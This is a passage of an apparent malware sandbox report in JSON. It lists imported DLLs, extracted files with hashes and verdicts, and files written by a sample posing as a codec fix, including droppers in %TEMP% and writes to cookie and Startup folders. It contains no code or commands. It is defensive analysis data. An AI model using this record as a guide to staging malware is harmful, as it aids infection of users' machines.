3","sha256":"c4efafc49d46dba7e89cd94892799c739a3103f724fec9be494bf1267fdb059e","normalized_path":"%WINDIR%\\SysWOW64\\timeout.exe","parent_uid":"00025624-00000808","uid":"00025654-00002040"}],"all_imported_dlls":["gdi32.dll","uxtheme.dll","credssp.dll","cryptnet.dll","System.ni.dll","normaliz.dll","comdlg32.dll","mscorlib.ni.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","nsi.dll","winhttp.dll","dhcpcsvc.dll","msvcr80.dll","System.Configuration.ni.dll","wow64.dll","wow64cpu.dll","msctf.dll","version.dll","FWPUCLNT.DLL","pnrpnsp.dll","rpcrt4.dll","cryptbase.dll","imageres.dll","winbrand.dll","propsys.dll","wkscli.dll","dhcpcsvc6.dll","rtutils.dll","api-ms-win-core-synch-l1-2-0.dll","NapiNSP.dll","sechost.dll","urlmon.dll","mpr.dll","wship6.dll","RstrtMgr.dll","msvcrt.dll","setupapi.dll","devrtl.dll","netapi32.dll","shfolder.dll","ntdll.dll","dwmapi.dll","apphelp.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","winmm.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","rasadhlp.dll","mscorwks.dll","lua5.1.dll","bcrypt.dll","Wldap32.dll","kernel32.dll","cryptsp.dll","crypt32.dll","ncrypt.dll","winrnr.dll","mscorjit.dll","imagehlp.dll","shell32.dll","rasapi32.dll","profapi.dll","wininet.dll","netutils.dll","schannel.dll","fastprox.dll","WSHTCPIP.DLL","wbemcomn.dll","ntmarta.dll","winnsi.dll","shlwapi.dll","gpapi.dll","ws2_32.dll","rsaenh.dll","SensApi.dll","netmsg.dll","imm32.dll","ole32.dll","sfc_os.dll","GdiPlus.dll","WMINet_Utils.dll","_shfoldr.dll","sspicli.dll","iertutil.dll","srvcli.dll","oleacc.dll","oleaccrc.dll","psapi.dll","System.Data.dll","usp10.dll","oleaut32.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","mscoreei.dll","KernelBase.dll","lpk.dll","shdocvw.dll","oledlg.dll","IPHLPAPI.DLL","rasman.dll","System.Management.ni.dll","nlaapi.dll","bcryptprimitives.dll","api-ms-win-downlevel-user32-l1-1-0.dll","secur32.dll","mswsock.dll","sxs.dll","System.Data.ni.dll","wmiutils.dll","wow64win.dll","advapi32.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","userenv.dll","netprofm.dll","wshqos.dll","comctl32.dll","System.Xml.ni.dll","user32.dll","tzres.dll","wbemsvc.dll","ntdsapi.dll","msvbvm60.dll","Culture.dll","clbcatq.dll","cfgmgr32.dll","sfc.dll","RpcRtRemote.dll","webio.dll","npmproxy.dll","msasn1.dll","mscoree.dll","devobj.dll","api-ms-win-downlevel-version-l1-1-0.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","msimg32.dll","dnsapi.dll","wintrust.dll","mscorrc.dll","wbemprox.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"gimi.exe","sha256":"58c2e9b5c933fb7380b2ae1d79cec460a04ea35ecd4c447ec8bd0a1e888685ff","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"itdownload.dll","sha256":"b258c4d7d2113dee2168ed7e35568c8e03341e24e3eafc7a22a0d62e32122ef3","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"jfk0021.exe","sha256":"9a8c700aab5ecf41b05dcdaba1fc6c51c0531adac3519d4ab18cfa2789dc8f85","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"irsetup.exe","sha256":"5ffd4b20dccfb84c8890abdb780184a7651e760aefba4ab0c6fba5b2a81f97d9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"lua5.1.dll","sha256":"12cb9b8f59c00ef40ea8f28bfc59a29f12dc28332bf44b1a5d8d6a8823365650","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"XVD.exe","sha256":"a23e6810a4133ffeae183db0c4ed718c65779a608e08ae1518c5a4ecebd33e49","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"faket.exe","sha256":"ed1f0b7ecd023a3b93a302841e443340f06cb5fac59995e81b4b1d15843c26c3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"salllbu.exe","sha256":"bb6e6ccf2892516be5dad90bfb2727415c494777021c759f4a74e255d175e744","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"security.config.cch.new","sha256":"cbc70c67975448802e5a631326decda0b131e3d3459ad30c6260739d5f9d25fd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"AI6XV6T4.txt","sha256":"a5b92defc62ccd612219c81422e0c1f2297391aba76487e59fd6e4040752efea","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"E6MIOO3C.txt","sha256":"f550cbf116da8c6a3c46bdb8531826bb95e3c2e71b2c1874dd8067debb63cdd6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"K9LU2SOU.txt","sha256":"f1bc2ebe3fe457b7e456504ce075d93e5e1a83bcd39c63f148058514c13262a6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"divx[1].htm","sha256":"f3576bfd4b9d177d0f6546e80e812e90b1efa852893143868aef2e9661e29749","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771","sha256":"5e0d226022de4c3bf5f50f0a311112f7f24d91096aa469fe24c928d79592af37","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"30CB8325A1BF98CD1151CC34A49CCE11_51492D50E4501CEB22B561C1DDF86BC1","sha256":"c0a1d258cf23bbe131b5d75b838de1e8c8fe757a42be5ac4211edcff2522a569","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sha256":"a795837f81e424bb611a9c8725be33f02d1d4a23b25ca45e1246bf8b86f0230b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"64DCC9872C5635B1B7891B30665E0558_5552C20A2631357820903FD38A8C0F9F","sha256":"b26c8661ba496deb04a7e7f9c37a141226ce405e8a81e6f4e4ce66f852458be3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"9EC3B71635F8BA3FC68DE181A104A0EF_F6C39EF89D8A3A72327D8412589658B2","sha256":"d22529721e8083e4dcf433f8d5c1e193edc1720c6a3e288df361fae37ee21ab6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001","sha256":"51f1f14065f4d7616e538ab070f03e6aaa319202da3d7278845d98d20af1c874","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"BC570EC0DE58335AFAF92FDC8E3AA330_798AA78689609ED9962CBEFE043FF5AA","sha256":"230b80bf77e4f59496bbb77a54fc05026eb50901ad5d6ad7b45b6670c8136c1a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"EB2C4AB8B68FFA4B7733A9139239A396_D76DB901EE986B889F30D8CC06229E2D","sha256":"a4d6ee0b6e08fed2f5272c39221b729507a0d4660f226435b761fa2ee27c70b5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"A6E643304C5FBB7CBF4025F1978D6EED","sha256":"e5d194951cfe1942a0085c44528f8a557b7569e1fc68d9d701f28bd5d10bdf10","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"MediaPlay.exe","sha256":"9b755f96eb27dd79a536307e2666a3fcf54cc93294aa1e9ad13d1a552e2d9375","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"XvidCodec","sha256":"36bac4fa0226508cbf3c4fb160aaf1b408219f63e649c4348d44d78459220e6e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"access.png","sha256":"cd3b049073063808c4e262ce07ba422ad3c45aa4e4d8e6464eafb01847e520e9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"capi.png","sha256":"64dcce5aefc323eab64db3d2bb154f7cc9fbc0ecdcbccfe65d6c64f5951f0717","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"cimm.png","sha256":"20f414d0de20212be8f7bd54912f9fdaa63d472a0b0515b44b80a11ecfdb85a2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"capi.exe","sha256":"8bef99dfdc3c6c555000a438e2cf05e47c05171130fb65de362b43830a85e2dd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"cubesta.exe","sha256":"26b337bd80905215bb6f6ae8f53fd961c11c55b4996e607d8c3ce5c616ce0404","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]}],"files_written":[{"path":"C:\\CodecFix.exe","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\9EC3B71635F8BA3FC68DE181A104A0EF_F6C39EF89D8A3A72327D8412589658B2","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\9EC3B71635F8BA3FC68DE181A104A0EF_F6C39EF89D8A3A72327D8412589658B2","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\9EC3B71635F8BA3FC68DE181A104A0EF_6BB6788F6A8528A0F9C552EFF5B09463","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\FAC339B39377A299AE11B4D208AD3090","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\64DCC9872C5635B1B7891B30665E0558_5552C20A2631357820903FD38A8C0F9F","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\64DCC9872C5635B1B7891B30665E0558_5552C20A2631357820903FD38A8C0F9F","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\64DCC9872C5635B1B7891B30665E0558_0D8A59131C70FA8C84AEB496F0935D24","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\A6E643304C5FBB7CBF4025F1978D6EED","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\A6E643304C5FBB7CBF4025F1978D6EED","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%TEMP%\\gimi.exe","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\AI6XV6T4.txt","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%TEMP%\\txt.txt","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\ACF244F1A10D4DBED0D88EBA0C43A9B5_0EE2D122C664E1B327C8D254AAC8B0DA","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\C8E7EC0C85688F4738F3BE49B104BA67","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_E1770CC1275120D0A3CCBAA1B7B403D4","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\E7631945B23D3018655B801BCB0B4636","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_798AA78689609ED9962CBEFE043FF5AA","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_798AA78689609ED9962CBEFE043FF5AA","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\AppPatch\\pcamain.sdb","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\SysWOW64\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%TEMP%\\salllbu.exe","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"C:\\Users\\Public","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\Fonts\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%APPDATA%\\Microsoft\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%APPDATA%\\Microsoft\\Windows","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"C:\\ProgramData","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%PUBLIC%\\Documents\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%PUBLIC%\\Music\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%PUBLIC%\\Pictures\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%PROGRAMFILES%\\(x86)\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%PROGRAMFILES%\\(x86)","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%TEMP%\\MediaPlay.exe","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%TEMP%\\capi.exe","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%PROGRAMFILES%\\Internet Explorer\\iexplore.exe","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\SysWOW64\\imageres.dll","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%TEMP%\\cubesta.exe","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%TEMP%\\XVD.exe","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\Fonts\\StaticCache.dat","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\user32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\syswow64\\en\\KERNELBASE.dll.mui","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\SysWOW64\\netmsg.dll","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%TEMP%\\faket.exe","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\Programs","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\Programs\\Common","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"C:","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\AppPatch\\AppPatch64\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%TEMP%\\is-8V0RT.tmp\\jfk0021.exe.config","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\machine.config","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\config\\security.config","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\config\\enterprisesec.config","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\64bit\\security.config","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\64bit\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v2.0.50727_64\\index2b5.dat","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\System32\\l_intl.nls","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%TEMP%\\is-8V0RT.tmp\\jfk0021.exe","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorrc.dll","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\assembly\\pubpol107.dat","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\SysWOW64\\oleaccrc.dll","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"C:\\share","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\SysWOW64\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\System32\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{C3450F58-7060-4AEA-B0A0-C245927D78D0}","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\SysWOW64\\wshqos.dll","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\E6MIOO3C.txt","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%WINDIR%\\assembly\\GAC_64\\System.Data\\2.0.0.0__b77a5c561934e089\\System.Data.dll","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\EB2C4AB8B68FFA4B7733A9139239A396_AD876BD6070522D4EE8560FE72EBB41A","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\C5FD5BF0CE6372B1CAFE381FD0BC969C","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\EB2C4AB8B68FFA4B7733A9139239A396_D76DB901EE986B889F30D8CC06229E2D","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\EB2C4AB8B68FFA4B7733A9139239A396_D76DB901EE986B889F30D8CC06229E2D","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\223DE96EE265046957A660ED7C9DD9E7_5F4A6047A3FBCAF69FE9965B6C68B6B7","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\67F6625BC22310D5C99DDE12020DBD90","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\30CB8325A1BF98CD1151CC34A49CCE11_7E63E91669310CC21B9F646664790574","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\8C42E99E38527DCCC27361E10B98B25B","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\30CB8325A1BF98CD1151CC34A49CCE11_51492D50E4501CEB22B561C1DDF86BC1","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\30CB8325A1BF98CD1151CC34A49CCE11_51492D50E4501CEB22B561C1DDF86BC1","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\K9LU2SOU.txt","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\W